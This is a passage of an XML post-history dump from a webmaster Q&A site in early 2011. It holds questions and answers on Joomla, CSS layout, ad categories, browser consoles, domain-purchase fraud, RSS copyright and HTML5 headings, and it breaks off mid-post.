  <row Id="18523" PostHistoryTypeId="1" PostId="8545" RevisionGUID="da1cfccc-28f2-448e-bcfa-6ead0bf0e9b6" CreationDate="2011-02-01T08:03:29.000" UserId="4424" Text="Private domain purchase with paypal: how to prevent fraud?" />
  <row Id="18524" PostHistoryTypeId="3" PostId="8545" RevisionGUID="da1cfccc-28f2-448e-bcfa-6ead0bf0e9b6" CreationDate="2011-02-01T08:03:29.000" UserId="4424" Text="&lt;domain-names&gt;&lt;purchase&gt;&lt;fraud-detection&gt;" />
  <row Id="18525" PostHistoryTypeId="25" PostId="8539" RevisionGUID="58c9531a-d25a-4026-bf47-a9988412540c" CreationDate="2011-02-01T08:16:18.027" Comment="http://twitter.com/#!/StackWebmasters/status/32351519076519936" />
  <row Id="18526" PostHistoryTypeId="2" PostId="8546" RevisionGUID="f5420cfd-4d3d-484e-8d24-39fb343a3a15" CreationDate="2011-02-01T08:29:49.117" UserId="5064" Text="I am redesigning a business website and will be porting it into Joomla.  The functionality of the site will be fairly simple.  I would like to use Joomla 1.6.  Is the new version of Joomla at an acceptable stage for production?" />
  <row Id="18527" PostHistoryTypeId="1" PostId="8546" RevisionGUID="f5420cfd-4d3d-484e-8d24-39fb343a3a15" CreationDate="2011-02-01T08:29:49.117" UserId="5064" Text="Joomla 1.6 -- Ready for a Production?" />
  <row Id="18528" PostHistoryTypeId="3" PostId="8546" RevisionGUID="f5420cfd-4d3d-484e-8d24-39fb343a3a15" CreationDate="2011-02-01T08:29:49.117" UserId="5064" Text="&lt;joomla&gt;" />
  <row Id="18529" PostHistoryTypeId="2" PostId="8547" RevisionGUID="5c998264-c162-4e06-9485-3983b8e0ade9" CreationDate="2011-02-01T09:37:33.783" UserId="4803" Text="Unless you are building a site that will look like other websites, creating a site off of an HTML template isn't a good idea. Maybe you could give a short description of what you want your website to look like in the end. That could give us a better vision of what you're trying to accomplish.&#xD;&#xA;&#xD;&#xA;The reason is because CSS is dependent on other factors of your website. The specific widths and element placements within the HTML document will change the necessary CSS.&#xD;&#xA;&#xD;&#xA;Try creating a purely graphical template of your site in Photoshop or Gimp. That way you can look at where you want different elements to go, put it into HTML and use CSS to style it accordingly.&#xD;&#xA;&#xD;&#xA;There are plenty of CSS templates on the web that have different formatting of the basic website designs. " />
  <row Id="18534" PostHistoryTypeId="2" PostId="8550" RevisionGUID="eabb7ba4-faec-4198-b727-507c04e2125d" CreationDate="2011-02-01T10:43:20.257" UserDisplayName="user5070" Text="I need to provide my customers a web help so that I can diagnose their issues. I was thinking about a tree questionnaire, where the leaf is either the response to the issue, or a &quot;Please call the support team&quot;.&#xD;&#xA;&#xD;&#xA;I was wondering if there were builtin solutions as PhpBB is for forums ?&#xD;&#xA;&#xD;&#xA;Thanks in advance !" />
  <row Id="18535" PostHistoryTypeId="1" PostId="8550" RevisionGUID="eabb7ba4-faec-4198-b727-507c04e2125d" CreationDate="2011-02-01T10:43:20.257" UserDisplayName="user5070" Text="Can you recommend a PHP Web Help framework / web app ?" />
  <row Id="18536" PostHistoryTypeId="3" PostId="8550" RevisionGUID="eabb7ba4-faec-4198-b727-507c04e2125d" CreationDate="2011-02-01T10:43:20.257" UserDisplayName="user5070" Text="&lt;php&gt;&lt;web&gt;" />
  <row Id="18537" PostHistoryTypeId="5" PostId="8445" RevisionGUID="7279474c-eb5e-4785-a281-90b5ba0b0dba" CreationDate="2011-02-01T11:06:48.327" UserId="4643" Comment="added 11 characters in body" Text="If google search query results are incorrect:   &#xD;&#xA; &#xD;&#xA;  - How can it be reported? &#xD;&#xA;  - What is the procedure to correct it?  &#xD;&#xA;&#xD;&#xA;@Lèse majesté:  &#xD;&#xA;Incorrect results are the results that do not contain any of the searched keywords in them like in  &#xD;&#xA;&#xD;&#xA;  - [this my question][1]   &#xD;&#xA;&#xD;&#xA;@John Conde, yes I believe it is the right defitition.  &#xD;&#xA;&#xD;&#xA;@[DisgruntedGoat][2], even when there are a lot of results by keycaptcha for &quot;Past 24 hours&quot;,  &#xD;&#xA;the Google.com presents results only on reCAPTCHA.  Anyway, they are different from those by google if to search by &quot;keycaptcha&quot; (in quotes) and by other search engines.  &#xD;&#xA;&#xD;&#xA;Everybody thinks that searches by one keyword should be sneakily substituted by google's own promoted brand products?    &#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;**Though answers insist that my results are not reproducible,  &#xD;&#xA;I am having confirmations of respondents in Europe, China, Australia and North America   &#xD;&#xA;that they are reproducing these my results on reCAPTCHA while searching by keycaptcha&#xD;&#xA;(having simultaneously results by &quot;keycaptcha&quot; searches&quot;** &#xD;&#xA;&#xD;&#xA;Please note that you should click &quot;Past 24 hours&quot; (or &quot;Past week&quot;, etc.) while googling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/8445/when-google-search-gives-incorrect-results-how-can-it-be-reported" />
  <row Id="18543" PostHistoryTypeId="2" PostId="8551" RevisionGUID="d244b9c8-e992-462b-9a65-be7093ad898e" CreationDate="2011-02-01T11:40:16.237" UserDisplayName="user5071" Text="Is there any advertising company that allow webmasters to decide on general ad topics (such as &quot;Entertainment&quot;, &quot;Autos and vehicles&quot;, &quot;Arts&quot;, etc.) to be displayed for a user visiting on a website?&#xD;&#xA;I know you can choose specific ad campaigns to show to users, or let the advertising company decide for you which ads to show. But I am looking for an option to ask for the advertsing company to show me ads based on categories/topics.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;Frank" />
  <row Id="18544" PostHistoryTypeId="1" PostId="8551" RevisionGUID="d244b9c8-e992-462b-9a65-be7093ad898e" CreationDate="2011-02-01T11:40:16.237" UserDisplayName="user5071" Text="Displaying topics/categories related ads" />
  <row Id="18545" PostHistoryTypeId="3" PostId="8551" RevisionGUID="d244b9c8-e992-462b-9a65-be7093ad898e" CreationDate="2011-02-01T11:40:16.237" UserDisplayName="user5071" Text="&lt;advertising&gt;" />
  <row Id="18546" PostHistoryTypeId="2" PostId="8552" RevisionGUID="795406cc-ad0b-4d03-9799-f19f0bfe0a23" CreationDate="2011-02-01T12:16:55.180" UserId="576" Text="This may not exactly be what you are looking for but the [category filtering feature][1] in Google Adsense lets you block up to [11 categories][2]. So while you may not be able to precisely pick the category you need, you will able to block those you don't need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://adsense.blogspot.com/2010/03/troubleshooting-tips-part-iv-ad.html&#xD;&#xA;  [2]: https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=93462" />
  <row Id="18547" PostHistoryTypeId="4" PostId="8550" RevisionGUID="8a82ff9d-17a0-4f37-bca7-69daf1683384" CreationDate="2011-02-01T12:48:06.950" UserId="1757" Comment="More accurate title" Text="PHP framework or app for customer support / automated troubleshooting" />
  <row Id="18548" PostHistoryTypeId="2" PostId="8553" RevisionGUID="5d48a618-7385-488e-9cc8-ac1f5549ed1b" CreationDate="2011-02-01T12:52:13.000" UserId="1757" Text="I can't think of any off-hand, but it seems like what you want is a [knowledgebase][1] or [expert system][2]. This is a very active area of research and software development, and you should be able to find many open source solutions (many developed by academia).&#xD;&#xA;&#xD;&#xA;These allow users to troubleshoot their own problems. For instance, you could have an expert system that allows users to diagnose their own illness based on filling out a questionnaire of their symptons.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Knowledgebase&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Expert_system" />
  <row Id="18549" PostHistoryTypeId="2" PostId="8554" RevisionGUID="4c3b8bb3-8fbb-4bc9-9b6e-e19513a1547a" CreationDate="2011-02-01T13:20:33.810" UserId="576" Text="While you should not have any issues hosting jQuery on your own server, it would be a good idea to reference the jQuery library from Google's CDN to improve performance of your web pages ([read detailed explanation][1]). &#xD;&#xA;&#xD;&#xA;47 of the Alexa top 1,000 reference jQuery from the Google CDN.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://encosia.com/2010/09/15/6953-reasons-why-i-still-let-google-host-jquery-for-me/" />
  <row Id="18550" PostHistoryTypeId="5" PostId="8532" RevisionGUID="728dd2f4-883e-4bd8-88e8-468f8370e217" CreationDate="2011-02-01T13:25:23.487" UserId="1757" Comment="removed affiliate spam page" Text="I am looking to start building a website and I am looking for some good web hosting companies that gives the best bang for the buck. &#xD;&#xA;&#xD;&#xA;I had been reading on some websites in regards to some web hosting companies having the inability to run scripts on their servers (jQuery) which causes a big problem since the website I am in the process of making is very jQuery driven.&#xD;&#xA;&#xD;&#xA;Can anyone recommend some good web hosting companies that they had good experience with?" />
  <row Id="18551" PostHistoryTypeId="2" PostId="8555" RevisionGUID="bff2ea95-b810-4a6c-97dc-533e0f222f9c" CreationDate="2011-02-01T13:42:49.593" UserId="576" Text="To *indirectly* reach the Console in Opera (checked on v9.6) the shortcut is CTRL + SHIFT + I while on Safari 5 (on Windows) it is CTRL + ALT + I&#xD;&#xA;&#xD;&#xA;I wish all the browser makers could get together to [standardize the keyboard shortcuts][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mvark.blogspot.com/2008/09/keyboard-shortcuts-common-to-firefox-ie.html" />
  <row Id="18552" PostHistoryTypeId="2" PostId="8556" RevisionGUID="418c4889-7902-42f4-b5ca-f4f36be2199f" CreationDate="2011-02-01T13:50:21.047" UserId="4827" Text="Smells funny to me. I wouldn't give up my account information to anyone. I have gotten a 90% refund from Paypal when I was suckered by a bad eBay auction (the auction price less a few fees), so they do have some fraud protection in place.&#xD;&#xA;&#xD;&#xA;Why don't you contact GoDaddy and ask how they would recommend a safe transfer? I've had very good interactions with their customer service. Tell them straight up you're worried about fraud, and ask how you can protect yourself. " />
  <row Id="18553" PostHistoryTypeId="2" PostId="8557" RevisionGUID="a437bc81-fb54-4933-a2a3-d703744f66eb" CreationDate="2011-02-01T13:53:21.940" UserDisplayName="user5073" Text="Google's &quot;programming model&quot; is designed for speed. Amazon simply cannot compete in this space because of old-school architectural design." />
  <row Id="18554" PostHistoryTypeId="5" PostId="8525" RevisionGUID="dbd07891-bb95-4904-a6a6-9cf1012abc02" CreationDate="2011-02-01T14:00:23.730" UserId="3382" Comment="added 126 characters in body" Text="Chrome:&#xD;&#xA;&#xD;&#xA;1. Press CTRL + SHIFT + I to open the Developer Tools. &#xD;&#xA;2. Click on the &quot;Open console.&quot; icon in the bottom left corner. &#xD;&#xA;&#xD;&#xA;IE9: &#xD;&#xA;&#xD;&#xA;1. Press F12 to open the developer tools.&#xD;&#xA;2. Open the Script tab, click the &quot;Console&quot; button on the right. &#xD;&#xA;&#xD;&#xA;Firefox 4:&#xD;&#xA;&#xD;&#xA;1. Press CTRL + SHIFT + K to open the Web console.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What about Opera 11 and Safari 5?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Clarification:** By console I mean the JavaScript console that lets you input and execute JavaScript code.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18555" PostHistoryTypeId="25" PostId="8550" RevisionGUID="0e1639c0-fcc6-44f3-803c-ca987b39da2b" CreationDate="2011-02-01T14:16:19.060" Comment="http://twitter.com/#!/StackWebmasters/status/32442120975425536" />
  <row Id="18556" PostHistoryTypeId="2" PostId="8558" RevisionGUID="b9b2c0d3-5a13-43d1-b7b6-fcc372b726cc" CreationDate="2011-02-01T14:28:05.453" UserId="1253" Text="If you are purchasing a domain you shouldn't be giving them your godaddy.com account information. That is completely unnecessary. And when buying a domain always use an escrow service. That way you can be sure everything goes smoothly and you don't become a victim of fraud. Sending the money via PayPal is almost as good as giving them cash.&#xD;&#xA;&#xD;&#xA;Basically, if you do what they say, you are setting yourself up to be defrauded. Don't give them any login information for anything and use an escrow service. Otherwise bail out on the transaction. If they are legitimate they will agree to this." />
  <row Id="18557" PostHistoryTypeId="10" PostId="8536" RevisionGUID="88924246-34b7-49ae-9416-b27c39d58869" CreationDate="2011-02-01T14:32:25.027" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18558" PostHistoryTypeId="5" PostId="8536" RevisionGUID="014a18ba-d2ea-4cd9-ab1c-f411f800c93c" CreationDate="2011-02-01T14:32:25.120" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Purchasing a Domain from a Domain Squatter](http://webmasters.stackexchange.com/questions/4502/purchasing-a-domain-from-a-domain-squatter)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;A domain grabber has registered a domain that I wanted. All they're doing on the site is display ads. How do I get the domain without paying their extortion fee?" />
  <row Id="18559" PostHistoryTypeId="2" PostId="8559" RevisionGUID="728fbc51-e5d5-4a3f-a060-51dd68fd2bc4" CreationDate="2011-02-01T14:53:52.443" UserDisplayName="user5074" Text="I cannot enter [myspace][1] using IE8.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.myspace.com" />
  <row Id="18560" PostHistoryTypeId="2" PostId="8560" RevisionGUID="cdc31d4e-3913-4cee-a190-78bce04d3c1e" CreationDate="2011-02-01T15:57:55.497" UserId="5076" Text="I know it is illegal to post full articles of a website on yours beacuse of copyright.&#xD;&#xA;&#xD;&#xA;Is it legal to post the rss feeds of a website on your website?" />
  <row Id="18561" PostHistoryTypeId="1" PostId="8560" RevisionGUID="cdc31d4e-3913-4cee-a190-78bce04d3c1e" CreationDate="2011-02-01T15:57:55.497" UserId="5076" Text="Rss legal issues" />
  <row Id="18562" PostHistoryTypeId="3" PostId="8560" RevisionGUID="cdc31d4e-3913-4cee-a190-78bce04d3c1e" CreationDate="2011-02-01T15:57:55.497" UserId="5076" Text="&lt;legal&gt;&lt;copyright&gt;&lt;rss&gt;" />
  <row Id="18563" PostHistoryTypeId="2" PostId="8561" RevisionGUID="5ec54eaf-0c5e-401f-a089-e3e6aaf7dc49" CreationDate="2011-02-01T16:06:15.393" UserId="1253" Text="It depends on the terms and conditions of the website whose work you are reproducing. The published works of others is copyrighted so you cannot reproduce it without their explicit permission which may be given in their terms of service. You should definitely contact them to ask them for permission before doing it. &#xD;&#xA;&#xD;&#xA;FYI, Google is cracking down on copied content/scraped content so unless you have a good reason to reproduce the works of others, and you do it properly, I don't see much of a benefit to doing this. Anyone, the Internet doesn't need more copycats. Original work is much preferred." />
  <row Id="18564" PostHistoryTypeId="2" PostId="8562" RevisionGUID="ba1fe122-0a36-4c3f-a141-c1afa9a3cd1c" CreationDate="2011-02-01T16:22:17.493" UserDisplayName="user5078" Text="In other browsers my webapp seems to be ok, but in ie anchor tag lost width attribute, with developer tools I have noticed that width is not correct recognized by browser, how could I repair that: http://i.stack.imgur.com/XLKYf.png" />
  <row Id="18565" PostHistoryTypeId="1" PostId="8562" RevisionGUID="ba1fe122-0a36-4c3f-a141-c1afa9a3cd1c" CreationDate="2011-02-01T16:22:17.493" UserDisplayName="user5078" Text="strange behaviour in IE with width of anchor element" />
  <row Id="18566" PostHistoryTypeId="3" PostId="8562" RevisionGUID="ba1fe122-0a36-4c3f-a141-c1afa9a3cd1c" CreationDate="2011-02-01T16:22:17.493" UserDisplayName="user5078" Text="&lt;html&gt;&lt;css&gt;&lt;internet-explorer&gt;" />
  <row Id="18567" PostHistoryTypeId="2" PostId="8563" RevisionGUID="92eb16ab-893d-4f87-8ddd-57a4ab9872af" CreationDate="2011-02-01T16:39:23.607" UserId="43" Text="I have an odd problem. Links to named anchors on a site I'm working on are only working correctly if the pound/hash sign is placed after a trailing slash (e.g. example.com/about/#who), rather than directly after a page name (e.g. example.com/about#who).&#xD;&#xA;&#xD;&#xA;What could be causing this? I should note that this is on a site running WordPress, with the [WPML translation plugin][1]. I'm not sure if that's causing the problem, though (otherwise I'd ask on the WordPress Answers SE site).&#xD;&#xA;&#xD;&#xA;Any suggestions as to what could be causing this strange behavior?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/sitepress-multilingual-cms/" />
  <row Id="18568" PostHistoryTypeId="1" PostId="8563" RevisionGUID="92eb16ab-893d-4f87-8ddd-57a4ab9872af" CreationDate="2011-02-01T16:39:23.607" UserId="43" Text="Strange named anchor behavior - only working with the hash mark after a trailing slash" />
  <row Id="18569" PostHistoryTypeId="3" PostId="8563" RevisionGUID="92eb16ab-893d-4f87-8ddd-57a4ab9872af" CreationDate="2011-02-01T16:39:23.607" UserId="43" Text="&lt;links&gt;&lt;named-anchor&gt;" />
  <row Id="18570" PostHistoryTypeId="10" PostId="8562" RevisionGUID="b6b63693-c7fd-4fe4-9d3d-c8f478ffc2e9" CreationDate="2011-02-01T16:53:35.553" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18571" PostHistoryTypeId="2" PostId="8564" RevisionGUID="a8d964d9-ec83-41fb-8646-00dc6cd3d7df" CreationDate="2011-02-01T17:05:22.697" UserId="4672" Text="You downloaded Joomla, and you presumably installed it on a server?&#xD;&#xA;&#xD;&#xA;The folders being referred to in the tutorial are the folders and files residing on the server.  They are likely accessed through FTP.  &#xD;&#xA;&#xD;&#xA;If you wish to understand what these folders/files look like and don't have FTP access to your server, download Joomla itself:&#xD;&#xA;http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;frs_package_id=5696&#xD;&#xA;&#xD;&#xA;Extract the zip file, and you will see exactly what files/folders are being referred to. " />
  <row Id="18572" PostHistoryTypeId="25" PostId="8560" RevisionGUID="f3f97375-98c2-4b66-a59e-c369dfca40cd" CreationDate="2011-02-01T17:16:21.987" Comment="http://twitter.com/#!/StackWebmasters/status/32487431412383744" />
  <row Id="18573" PostHistoryTypeId="2" PostId="8565" RevisionGUID="445e7151-3ba4-4b00-9a92-a92e9f756ca4" CreationDate="2011-02-01T17:21:54.917" UserId="4672" Text="Domain Name Transfers will not affect your site at all.  A transferred domain name will still point to whatever nameservers it was already pointing to. So you won't experience any down time because no matter who owns the domain, it still ends up pointing to the same nameserver.  The 7 day process is about EPP keys and approvals, and it's really just more of a hassle.&#xD;&#xA;&#xD;&#xA;Downtime occurs when you change nameservers or A records, if not performed correctly." />
  <row Id="18574" PostHistoryTypeId="2" PostId="8566" RevisionGUID="7e051d58-1dee-4a6c-ab62-771b8f6d1638" CreationDate="2011-02-01T17:45:59.450" UserId="619" Text="I am not sure if something like this exists in that it is ready **out of the box**.&#xD;&#xA;&#xD;&#xA;I currently have some web space that I use for various projects, and I would like to setup an area for some friends and I to develop web applications together.&#xD;&#xA;&#xD;&#xA;My ideal setup would be to create a folder, say, webdev.domain.com.  We could all go to this domain, login, and then be able to setup new applications, pick which language will be used, setup database tables, allow HTML based file uploading, and create sub-folders to basically have a test bed for the applications.  In retrospect, it seems like I'm describing a limited version of cpanel.&#xD;&#xA;&#xD;&#xA;I could come up with something in Drupal I'm sure, but I don't want to have to really spend time configuring much.  Like I said, I want to install it and have minimal configuration.&#xD;&#xA;&#xD;&#xA;Does something like this exist (preferably in open-source)?" />
  <row Id="18575" PostHistoryTypeId="1" PostId="8566" RevisionGUID="7e051d58-1dee-4a6c-ab62-771b8f6d1638" CreationDate="2011-02-01T17:45:59.450" UserId="619" Text="'Development dashboard' web application" />
  <row Id="18576" PostHistoryTypeId="3" PostId="8566" RevisionGUID="7e051d58-1dee-4a6c-ab62-771b8f6d1638" CreationDate="2011-02-01T17:45:59.450" UserId="619" Text="&lt;web-development&gt;&lt;web-applications&gt;&lt;website-deployment&gt;" />
  <row Id="18577" PostHistoryTypeId="2" PostId="8567" RevisionGUID="71fa1a50-0555-4faa-802f-c6691f6bfdaf" CreationDate="2011-02-01T18:55:25.257" UserId="5077" Text="Not sure if this would be what you're looking for as it's a hosted solution, but it's one option you can lean towards if you don't feel like developing a custom panel. The site is called [Assembla][1] and it features free hosting (along with paid hosting). Downside to the free hosting is that you have to have an open-source project.&#xD;&#xA;&#xD;&#xA;As for a self-hosted solution, you can use something that comes packaged with cPanel's Fantastico installations. It's called [dotProject][2], though the link here is probably a newer one. The one packaged with my cPanel's is older. It's fairly good at project management.&#xD;&#xA;&#xD;&#xA;Both solutions include tasks, milestones, team/&quot;staff&quot; (respectively), and tickets.&#xD;&#xA;&#xD;&#xA;Apology for advertisement, I've got a couple solutions hosted on Assembla's site located [here][3] and [here][4].&#xD;&#xA;&#xD;&#xA;Hope this helps you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.assembla.com/&#xD;&#xA;  [2]: http://dotproject.net&#xD;&#xA;  [3]: http://www.assembla.com/spaces/atlantis-framework&#xD;&#xA;  [4]: http://www.assembla.com/spaces/rentools/stream" />
  <row Id="18578" PostHistoryTypeId="2" PostId="8568" RevisionGUID="12a756a4-b3e6-4bb5-b07a-a2459e3c82e0" CreationDate="2011-02-01T18:56:32.187" UserId="5014" Text="I wrote a website a while ago that is a little messy in how it does things. I used this [CSS template][1] and this [equal height columns trick][2]. I have not one but two container divs and I can't remember what they're doing. So I'm thinking of re structuring the thing from scratch, and possibly making use of the more &quot;semantic&quot; html5 tags like `&lt;nav&gt;` and so on at the same time.&#xD;&#xA;&#xD;&#xA;The question is: is there a better way to achieve a site structure with these properties:&#xD;&#xA;&#xD;&#xA; - 2 equal height main columns (with widths as percentages of the available real estate, not explicitly stated)&#xD;&#xA; - both a header and footer element that stretch the whole width of the total of the two main columns&#xD;&#xA; - That allows the use of semantic html5 tags instead of meaningless divs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.456bereastreet.com/lab/developing_with_web_standards/csslayout/2-col/&#xD;&#xA;  [2]: http://www.positioniseverything.net/articles/onetruelayout/equalheight" />
  <row Id="18579" PostHistoryTypeId="1" PostId="8568" RevisionGUID="12a756a4-b3e6-4bb5-b07a-a2459e3c82e0" CreationDate="2011-02-01T18:56:32.187" UserId="5014" Text="Is there a better way to have a two column website with header and footer, equal height columns and stretchy column widths?" />
  <row Id="18580" PostHistoryTypeId="3" PostId="8568" RevisionGUID="12a756a4-b3e6-4bb5-b07a-a2459e3c82e0" CreationDate="2011-02-01T18:56:32.187" UserId="5014" Text="&lt;html&gt;&lt;css&gt;&lt;html5&gt;&lt;css3&gt;" />
  <row Id="18581" PostHistoryTypeId="10" PostId="8568" RevisionGUID="ded07216-d1a8-40ea-8dca-ec8a6b97d672" CreationDate="2011-02-01T19:00:16.763" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18586" PostHistoryTypeId="2" PostId="8571" RevisionGUID="4e207caf-37e8-4f4f-b5c4-426a6b4c56ac" CreationDate="2011-02-01T19:17:36.640" UserDisplayName="user5081" Text="How does the BBC News website create the changing colour effect you get if you roll over their most popular stories on this webpage http://www.bbc.co.uk/news/uk-12336381 (see bottom right)" />
  <row Id="18587" PostHistoryTypeId="1" PostId="8571" RevisionGUID="4e207caf-37e8-4f4f-b5c4-426a6b4c56ac" CreationDate="2011-02-01T19:17:36.640" UserDisplayName="user5081" Text="How do I replicate this effect?" />
  <row Id="18588" PostHistoryTypeId="3" PostId="8571" RevisionGUID="4e207caf-37e8-4f4f-b5c4-426a6b4c56ac" CreationDate="2011-02-01T19:17:36.640" UserDisplayName="user5081" Text="&lt;css&gt;" />
  <row Id="18594" PostHistoryTypeId="17" PostId="8574" RevisionGUID="56fe63bd-6ff8-4bde-816c-c5eae75c8f98" CreationDate="2011-02-01T19:32:44.483" UserId="-1" Comment="from http://stackoverflow.com/questions/4867025/designing-a-logo-with-transparent-background/4867071#4867071" Text="" />
  <row Id="18595" PostHistoryTypeId="2" PostId="8574" RevisionGUID="f4228626-dc5f-4e54-a1fd-43b9f36c76f7" CreationDate="2011-02-01T19:28:57.043" UserId="2043" Text="I don't think this question belongs in Stackoverflow, however--make sure you export with `.png` format, and you should be good." />
  <row Id="18596" PostHistoryTypeId="2" PostId="8573" RevisionGUID="0801dae1-c07f-49ac-b55b-e90ee93c13da" CreationDate="2011-02-01T19:23:53.460" UserDisplayName="sarthak" Text="I want to design a logo which should have a transparent background so that it adjusts automatically with the CSS background color.&#xD;&#xA;&#xD;&#xA;I want to do it with pixelmator in mac.&#xD;&#xA;" />
  <row Id="18597" PostHistoryTypeId="1" PostId="8573" RevisionGUID="0801dae1-c07f-49ac-b55b-e90ee93c13da" CreationDate="2011-02-01T19:23:53.460" UserDisplayName="sarthak" Text="Designing a Logo with transparent background" />
  <row Id="18598" PostHistoryTypeId="3" PostId="8573" RevisionGUID="0801dae1-c07f-49ac-b55b-e90ee93c13da" CreationDate="2011-02-01T19:23:53.460" UserDisplayName="sarthak" Text="&lt;image&gt;&lt;mac&gt;&lt;transparency&gt;" />
  <row Id="18599" PostHistoryTypeId="17" PostId="8573" RevisionGUID="1ebe1c2f-9213-44b5-bb9e-1374272bd7e0" CreationDate="2011-02-01T19:32:44.483" UserId="-1" Comment="from http://stackoverflow.com/questions/4867025/designing-a-logo-with-transparent-background" Text="" />
  <row Id="18600" PostHistoryTypeId="2" PostId="8575" RevisionGUID="036865b6-ee36-46db-a58f-f1b5ea2a2d59" CreationDate="2011-02-01T19:45:29.670" UserId="4363" Text="I'm confused about how one hosts a [Buddycloud][1] (federated social networking software) channel. I downloaded the source code, but I'm not sure how to install it on my website. Most of the information seems to assume that the host is running their own server, but I have plain ol' paid web hosting. I know that you also need to set up an XMPP server to run Buddycloud, and I'm not sure how to do that on my hosted website—if it's even possible.&#xD;&#xA;&#xD;&#xA;I'd greatly appreciate it if you guys could point me in the right direction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://open.buddycloud.com/" />
  <row Id="18601" PostHistoryTypeId="1" PostId="8575" RevisionGUID="036865b6-ee36-46db-a58f-f1b5ea2a2d59" CreationDate="2011-02-01T19:45:29.670" UserId="4363" Text="How can I get started installing Buddycloud software to a hosted site?" />
  <row Id="18602" PostHistoryTypeId="3" PostId="8575" RevisionGUID="036865b6-ee36-46db-a58f-f1b5ea2a2d59" CreationDate="2011-02-01T19:45:29.670" UserId="4363" Text="&lt;open-source&gt;&lt;social-networking&gt;" />
  <row Id="18603" PostHistoryTypeId="5" PostId="8575" RevisionGUID="5c02c2dc-0e2a-438e-97ce-2a5a09687ae2" CreationDate="2011-02-01T20:02:36.570" UserId="4363" Comment="added 78 characters in body" Text="I'm confused about how one hosts a [Buddycloud][1] (federated social networking software) channel. I downloaded the source code, but I'm not sure how to install it on my website. Most of the information seems to assume that the host is running their own server, but I have plain ol' paid web hosting. I know that you also need to set up an XMPP server to run Buddycloud, and I'm not sure how to do that on my hosted website—or if it's even possible. If it matters, my site is hosted on a Linux server through IX Web Hosting.&#xD;&#xA;&#xD;&#xA;I'd greatly appreciate it if you guys could point me in the right direction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://open.buddycloud.com/" />
  <row Id="18604" PostHistoryTypeId="2" PostId="8576" RevisionGUID="a9c14535-6a46-44bb-bbc8-217be369faaa" CreationDate="2011-02-01T20:04:22.343" UserId="1089" Text="At a guess they are using their own javascript library [glow][1]. It's like jquery but with wider browser support to meet their own (fairly strict) [standards][2].&#xD;&#xA;&#xD;&#xA;Specifically the [anim][3] function.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bbc.co.uk/glow/&#xD;&#xA;  [2]: http://www.bbc.co.uk/guidelines/futuremedia/technical/browser_support.shtml&#xD;&#xA;  [3]: http://www.bbc.co.uk/glow/docs/1.7/furtherinfo/anim/" />
  <row Id="18605" PostHistoryTypeId="25" PostId="8566" RevisionGUID="ba6b52de-1b35-47fb-be5c-65de37b38336" CreationDate="2011-02-01T20:16:21.863" Comment="http://twitter.com/#!/StackWebmasters/status/32532729581015040" />
  <row Id="18606" PostHistoryTypeId="2" PostId="8577" RevisionGUID="400f7d29-6e91-4a80-bbfe-36f69d7aef41" CreationDate="2011-02-01T20:17:26.137" UserId="5083" Text="It's my understanding (based from this chapter of Dive into HTML5: http://goo.gl/9zliD) that it can be considered semantically appropriate to use H1 tags in multiple areas of the page, as a method of setting the most important title for that particular content.&#xD;&#xA;&#xD;&#xA;**If I'm using this methodology, and I have a SECTION which I've assigned an H1 of 'Articles', should I use H1 or H2 to define the titles for ARTICLEs in that SECTION?**  This is a bit confusing to me as the article titles are the most important heading for their ARTICLE, but are also 'children' of the SECTION's title.  &#xD;&#xA;&#xD;&#xA;_Example code:_&#xD;&#xA;&#xD;&#xA;    &lt;section class=&quot;article-list&quot;&gt;&#xD;&#xA;      &lt;header&gt;&#xD;&#xA;        &lt;h1&gt;Articles&lt;/h1&gt;&#xD;&#xA;      &lt;/header&gt;&#xD;&#xA;      &#xD;&#xA;      &lt;article&gt;&#xD;&#xA;        &lt;header&gt;&#xD;&#xA;          &lt;h2&gt;Article Title&lt;/h2&gt;&#xD;&#xA;          &lt;time datetime=&quot;201-02-01&quot;&gt;Today&lt;/time&gt;&#xD;&#xA;        &lt;/header&gt;&#xD;&#xA;        &lt;p&gt;Article text...&lt;/p&gt;&#xD;&#xA;      &lt;/article&gt;&#xD;&#xA;      &#xD;&#xA;      &lt;article&gt;&#xD;&#xA;        &lt;header&gt;&#xD;&#xA;          &lt;h2&gt;Article Title&lt;/h2&gt;&#xD;&#xA;          &lt;time datetime=&quot;2011-01-31&quot;&gt;Yesterday&lt;/time&gt;&#xD;&#xA;        &lt;/header&gt;&#xD;&#xA;        &lt;p&gt;Article 